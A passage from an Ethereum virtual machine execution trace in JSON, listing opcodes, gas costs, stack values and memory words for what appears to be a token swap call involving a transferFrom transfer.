4,"op":"DUP8","gas":78978,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12045,"op":"PUSH2","gas":78975,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x100"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12048,"op":"DUP7","gas":78972,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x100","0x2f17"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12049,"op":"PUSH1","gas":78969,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x100","0x2f17","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12051,"op":"PUSH2","gas":78966,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x100","0x2f17","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12054,"op":"JUMP","gas":78963,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x100","0x2f17","0x0","0x1","0x3b53"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15187,"op":"JUMPDEST","gas":78955,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x100","0x2f17","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15188,"op":"PUSH1","gas":78954,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x100","0x2f17","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15190,"op":"DUP3","gas":78951,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x100","0x2f17","0x0","0x1","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15191,"op":"NOT","gas":78948,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x100","0x2f17","0x0","0x1","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15192,"op":"DUP3","gas":78945,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x100","0x2f17","0x0","0x1","0x0","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15193,"op":"GT","gas":78942,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x100","0x2f17","0x0","0x1","0x0","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15194,"op":"ISZERO","gas":78939,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x100","0x2f17","0x0","0x1","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15195,"op":"PUSH2","gas":78936,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e",